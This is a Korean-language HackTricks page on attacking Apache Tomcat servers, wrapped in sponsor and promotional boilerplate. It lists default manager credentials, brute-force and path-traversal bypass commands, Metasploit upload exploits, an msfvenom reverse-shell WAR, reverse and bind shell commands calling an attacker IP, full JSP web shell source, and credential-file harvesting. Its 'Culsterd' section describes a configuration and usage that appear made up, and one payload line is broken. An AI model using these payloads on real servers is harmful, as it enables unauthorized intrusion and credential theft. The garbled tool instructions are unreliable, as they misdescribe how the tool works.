hacktricks/network-services-pentesting/pentesting-web/tomcat.md
2024-02-10 21:30:13 +00:00

329 lines
19 KiB
Markdown

# Tomcat
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전 또는 HackTricks PDF를 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
가장 중요한 취약점을 찾아서 더 빠르게 수정하세요. Intruder는 공격 대상을 추적하고 적극적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. [**무료로 시도해보세요**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 오늘부터.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 발견
* 일반적으로 **포트 8080**에서 실행됩니다.
* **일반적인 Tomcat 오류:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## 열거
### **버전 식별**
Apache Tomcat의 버전을 찾으려면 간단한 명령을 실행할 수 있습니다:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
이는 문서 색인 페이지에서 "Tomcat"이라는 용어를 검색하여 HTML 응답의 제목 태그에서 버전을 확인합니다.
### **매니저 파일 위치**
**`/manager`** 및 **`/host-manager`** 디렉토리의 정확한 위치를 식별하는 것은 중요합니다. 이들 페이지의 이름이 변경될 수 있으므로 무차별 대입 검색을 권장합니다.
### **사용자명 열거**
Tomcat 6보다 오래된 버전의 경우 다음을 통해 사용자명을 열거할 수 있습니다:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **기본 자격 증명**
**`/manager/html`** 디렉토리는 WAR 파일의 업로드와 배포를 허용하여 코드 실행으로 이어질 수 있으므로 특히 민감합니다. 이 디렉토리는 일반적으로 다음과 같은 기본 HTTP 인증으로 보호됩니다:
- admin:admin
- tomcat:tomcat
- admin:<아무것도 입력하지 않음>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
이 자격 증명은 다음을 사용하여 테스트할 수 있습니다:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
다른 주목할만한 디렉토리는 **`/manager/status`**입니다. 이 디렉토리는 Tomcat 및 OS 버전을 표시하여 취약성을 식별하는 데 도움이 됩니다.
### **무차별 대입 공격**
manager 디렉토리에 대한 무차별 대입 공격을 시도하기 위해 다음을 사용할 수 있습니다:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Metasploit의 다양한 매개변수를 설정하여 특정 호스트를 대상으로 설정하는 것 외에도 다음과 같은 일반적인 취약점이 있습니다.
## 일반적인 취약점
### **비밀번호 추적 노출**
`/auth.jsp`에 접근하면 행운의 경우 추적 뒤에 비밀번호가 노출될 수 있습니다.
### **이중 URL 인코딩**
`mod_jk`의 CVE-2007-1860 취약점은 이중 URL 인코딩 경로 순회를 허용하여 특수한 URL을 통해 관리 인터페이스에 무단 액세스를 가능하게 합니다.
Tomcat의 관리 웹에 액세스하려면 다음 경로로 이동하십시오: `pathTomcat/%252E%252E/manager/html`
### /examples
Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 크로스 사이트 스크립팅 (XSS) 공격에 취약한 예제 스크립트를 포함하고 있습니다. 이러한 스크립트는 무단 액세스 및 잠재적인 악용 가능성을 확인하기 위해 종합적으로 검사해야 합니다. [자세한 정보는 여기에서 확인하세요](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **경로 순회 취약점**
일부 [**Tomcat의 취약한 구성**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)에서는 경로 `/..;/`를 사용하여 Tomcat의 보호된 디렉토리에 액세스할 수 있습니다.
예를 들어, 다음을 통해 **Tomcat 관리자** 페이지에 액세스할 수 있을 수 있습니다: `www.vulnerable.com/lalala/..;/manager/html`
이 요령을 사용하여 보호된 경로를 우회하는 **또 다른 방법**은 `http://www.vulnerable.com/;param=value/manager/html`에 액세스하는 것입니다.
## RCE
마지막으로, Tomcat 웹 응용 프로그램 관리자에 액세스할 수 있다면 .war 파일을 **업로드하고 배포하여 코드를 실행**할 수 있습니다.
### 제한 사항
WAR를 배포할 수 있는 권한 (역할: **admin**, **manager**, **manager-script**)이 충분한 경우에만 WAR를 배포할 수 있습니다. 이러한 세부 정보는 일반적으로 `/usr/share/tomcat9/etc/tomcat-users.xml`에 정의된 _tomcat-users.xml_에서 찾을 수 있습니다 (버전에 따라 다를 수 있음) (자세한 내용은 [POST](tomcat.md#post) 섹션 참조).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit는 네트워크 서비스 펜테스팅에서 가장 인기 있는 프레임워크 중 하나입니다. 이 도구는 다양한 공격 기법을 사용하여 시스템을 테스트하고 취약점을 찾는 데 사용됩니다. Metasploit은 다양한 모듈을 제공하며, 이를 통해 다양한 공격을 수행할 수 있습니다. 이러한 모듈은 취약점 스캐닝, 악성 코드 실행, 원격 액세스 획득 등 다양한 작업을 수행할 수 있습니다.
Metasploit은 사용하기 쉽고 강력한 기능을 제공합니다. 사용자는 명령어 기반 인터페이스를 통해 Metasploit을 제어할 수 있으며, 다양한 옵션을 설정하여 공격을 조정할 수 있습니다. 또한 Metasploit은 다양한 운영 체제에서 작동하며, 다양한 프로토콜과 서비스를 지원합니다.
Metasploit은 펜테스터와 해커 모두에게 매우 유용한 도구입니다. 펜테스터는 시스템의 취약점을 식별하고 보안을 강화하기 위해 Metasploit을 사용할 수 있습니다. 해커는 Metasploit을 사용하여 시스템을 침투하고 제어할 수 있습니다. 따라서 Metasploit은 네트워크 보안에 대한 이해와 경험이 있는 사람들에게 권장되는 도구입니다.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
1. 배포할 war 파일 생성하기:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 사용하여 바인딩 및 리버스 쉘을 설정합니다.
일부 시나리오에서는 작동하지 않을 수 있습니다 (예: 오래된 버전의 sun)
#### 다운로드
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### 리버스 쉘
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system.
To create a reverse shell, the attacker typically needs to exploit a vulnerability in a web application or server that allows remote code execution. Once the attacker has gained control over the target machine, they can use various techniques to establish a reverse shell connection.
One common method is to use the `nc` (netcat) command to listen for incoming connections on a specific port. The attacker then sends a command to the target machine that initiates a connection back to the attacker's machine. Once the connection is established, the attacker can interact with the target machine's shell and execute commands remotely.
Another method is to use a tool like `Metasploit` to generate a payload that establishes a reverse shell connection. The attacker can then deliver this payload to the target machine, either by exploiting a vulnerability or by tricking the user into running a malicious file. Once the payload is executed, a reverse shell connection is established, and the attacker can gain remote access to the target machine.
It is important to note that reverse shells can be detected and blocked by firewalls and intrusion detection systems. Therefore, attackers often use techniques like encryption and obfuscation to evade detection.
리버스 쉘은 대상 컴퓨터가 공격자의 컴퓨터로 연결을 시작하는 쉘의 한 유형입니다. 이를 통해 공격자는 대상 컴퓨터에 원격 액세스하고 명령을 실행할 수 있습니다. 리버스 쉘은 흔히 침투 후 시나리오에서 침해된 시스템에 대한 지속적인 액세스를 유지하기 위해 사용됩니다.
리버스 쉘을 생성하기 위해서는 일반적으로 웹 애플리케이션이나 서버에서 원격 코드 실행을 허용하는 취약점을 악용해야 합니다. 공격자가 대상 컴퓨터를 제어한 후에는 다양한 기술을 사용하여 리버스 쉘 연결을 설정할 수 있습니다.
일반적인 방법 중 하나는 `nc` (netcat) 명령을 사용하여 특정 포트에서 들어오는 연결을 수신 대기하는 것입니다. 그런 다음 공격자는 대상 컴퓨터로 연결을 시작하는 명령을 보냅니다. 연결이 설정되면 공격자는 대상 컴퓨터의 쉘과 상호 작용하고 원격으로 명령을 실행할 수 있습니다.
다른 방법은 `Metasploit`과 같은 도구를 사용하여 리버스 쉘 연결을 설정하는 페이로드를 생성하는 것입니다. 공격자는 이 페이로드를 대상 컴퓨터로 전달할 수 있으며, 이는 취약점을 악용하거나 사용자를 속여 악성 파일을 실행시키는 방식으로 이루어질 수 있습니다. 페이로드가 실행되면 리버스 쉘 연결이 설정되고, 공격자는 대상 컴퓨터에 원격 액세스할 수 있습니다.
리버스 쉘은 방화벽과 침입 탐지 시스템에 의해 감지되고 차단될 수 있음을 유의해야 합니다. 따라서 공격자는 종종 암호화와 난독화와 같은 기술을 사용하여 탐지를 회피합니다.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### 바인드 쉘
A bind shell is a type of shell that allows an attacker to gain remote access to a compromised system. It works by binding a shell to a specific port on the target system, allowing the attacker to connect to that port and gain control over the system. Bind shells are commonly used in network penetration testing to gain unauthorized access to a target system.
바인드 쉘은 공격자가 침투된 시스템에 원격으로 접근할 수 있는 유형의 쉘입니다. 이는 공격자가 대상 시스템의 특정 포트에 쉘을 바인딩하여 해당 포트에 연결하고 시스템을 제어할 수 있도록 하는 방식으로 작동합니다. 바인드 쉘은 네트워크 침투 테스트에서 무단으로 대상 시스템에 접근하기 위해 일반적으로 사용됩니다.
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd) 사용하기
Culsterd를 사용하여 웹 애플리케이션을 테스트하는 방법을 설명합니다.
#### 1. Culsterd 설치
Culsterd를 설치하기 위해 다음 명령을 실행합니다:
```bash
$ git clone https://github.com/hatRiot/clusterd.git
$ cd clusterd
$ pip install -r requirements.txt
```
#### 2. Culsterd 구성
Culsterd를 구성하기 위해 `config.yaml` 파일을 수정합니다. 필요한 설정을 추가하고 웹 애플리케이션의 URL을 지정합니다.
```yaml
# config.yaml
# 웹 애플리케이션의 URL
target: http://example.com
# 테스트할 요청 목록
requests:
- GET /
- POST /login
- GET /admin
# 테스트할 사용자 목록
users:
- username: admin
password: password123
- username: user
password: password456
```
#### 3. Culsterd 실행
Culsterd를 실행하기 위해 다음 명령을 실행합니다:
```bash
$ python clusterd.py
```
Culsterd는 설정된 요청과 사용자를 기반으로 웹 애플리케이션을 테스트합니다. 결과는 콘솔에 표시됩니다.
#### 4. 결과 분석
Culsterd의 결과를 분석하여 웹 애플리케이션의 취약점을 확인할 수 있습니다. 응답 코드, 응답 본문, 응답 시간 등을 확인하여 취약점을 식별합니다.
Culsterd를 사용하여 웹 애플리케이션을 테스트하는 것은 취약점을 발견하고 보안을 강화하는 데 도움이 됩니다.
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### 수동 방법 - 웹 쉘
이 [컨텐츠](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)를 가진 **index.jsp**를 생성하세요:
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
다음을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행 가능): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### 수동 방법 2
[](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)와 같은 JSP 웹 쉘을 얻고 WAR 파일을 생성하세요:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcat 자격 증명 파일의 이름은 _tomcat-users.xml_입니다.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
다른 Tomcat 자격 증명을 수집하는 방법:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## 다른 톰캣 스캐닝 도구
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## 참고 자료
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
가장 중요한 취약점을 찾아서 빠르게 수정할 수 있습니다. Intruder는 공격 대상을 추적하고 적극적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. [**무료로 시도해보세요**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 오늘.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>